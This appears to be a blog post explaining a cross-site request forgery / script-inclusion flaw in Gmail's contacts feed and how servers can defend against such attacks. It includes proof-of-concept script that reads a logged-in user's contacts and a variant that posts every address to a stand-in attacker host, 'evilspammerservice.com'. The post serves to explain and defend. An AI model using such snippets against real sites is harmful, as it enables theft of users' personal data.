There is a lot of chatter regarding a CSRF security flaw in Gmail.
CSRF attacks are Cross Site Request Forgery attacks, which are cousins of XSS, but different.
Joe Walker of DWR has written a detailed account of CSRF and how to avoid exposing your applications to them.
Anatomy of the Gmail Attack
If you were logged onto GMail then visiting this page will show you all your GMail contacts. How does it work?
The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn't a huge problem.
There is a Google URL that returns some script containing your contacts:
http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999
The page will look like this:
JAVASCRIPT:
google ({ Success: true, Errors: [], Body: { AuthToken: { Value: '********' }, Contacts: [ { Id: '***', Email: 'users at dwr.dev.java.net', Affinity: ***, Groups: [ { id: '^Freq', value: 'users at dwr.dev.java.net' } ], Addressess: [], Phoness: [], Imss: [] }, // Lots more contacts here ] } })So we're calling a function "google()" and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:
HTML:
<script type="text/javascript"> function google(data){ var emails, i; for (i = 0; i <data.Body.Contacts.length; i++) { mails += "<li>" + data.Body.Contacts[i].Email + ""; } document.write("<ol>" + emails + "</ol>"); } </script> <script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"> </script>But it would be just as easy to post the list of addresses off to some spam address catcher service:
HTML:
<script type="text/javascript"> function google(data){ var body, i; for (i = 0; i <data.Body.Contacts.length; i++) { body += data.Body.Contacts[i].Email + "\n"; } var xhr = new ActiveXObject("Microsoft.XMLHTTP"); xhr.open("POST", "http://evilspammerservice.com/catcher"); xhr.send(body); } </script>How to Protect Your Server
There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.
Things that wont protect you:
- Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.
- Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).
- JSON: Removing the function call in the GMail example would mean we would have to use XHR rather then just a simple Script Tag. The door is still wide open.
Secret Hidden Fields
If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).
This technique is good for the "Web 1.0" situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.
Double Submit the Cookie
The CSRF attack works by subverting what the browser will do with the cookie. Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).
If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.
Use a Library
Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.
There is some talk on ZDNet and it appears that Digg may have the same issue.

